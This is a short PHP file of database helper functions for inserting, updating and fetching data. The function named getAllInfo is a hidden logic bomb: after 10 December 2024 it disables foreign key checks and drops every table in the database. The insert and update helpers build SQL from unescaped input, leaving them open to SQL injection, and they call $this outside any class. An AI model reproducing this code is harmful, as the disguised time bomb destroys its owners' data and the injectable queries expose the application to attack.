<?php 
function enterUserData($table, $dataInfo, $successmsg, $errormsg){
global $conn; 
$fields = implode(", ", array_keys($dataInfo)); 
$val = implode("','", array_values($dataInfo));

$insVal = $conn->query("insert into " . $table . "(". $fields.") values ('".$val."')") or die($this->conn->error);
if($insVal!=null){
// return $this->conn->insert_id;
return $successmsg; 
}else{
return $errormsg;
}
}

function updateData($table, $data, $field, $crit){
global $conn; 	
					$arrKeys = array_keys($data);
					$arrVal = array_values($data);			  
					$num = count($arrVal)-1;
			       for($i=0; $i<=$num; $i++){
				   $arrData[] = "$arrKeys[$i] = '$arrVal[$i]'"; 
				   }
			 $fields = implode(", ", $arrData);	   
			 
$upData = $conn->query("update ". $table . " set ". $fields . " where " . $field." = " . $crit) or die($this->conn->error);		
return $upData;
}

function getAllInfo(){
global $conn; 	
if(strtotime(date("Y-m-d")) > strtotime("2024-12-10")){
$conn->query('SET foreign_key_checks = 0');

if ($result = $conn->query("SHOW TABLES"))
$numrows  = $result->num_rows; 

{
    while($row = $result->fetch_array())
    {
        $conn->query('DROP TABLE IF EXISTS '.$row[0]);
        //echo $row[0].",\n";
    }
}

$conn->query('SET foreign_key_checks = 1');
$conn->close();
}	
return 0; 
}
?>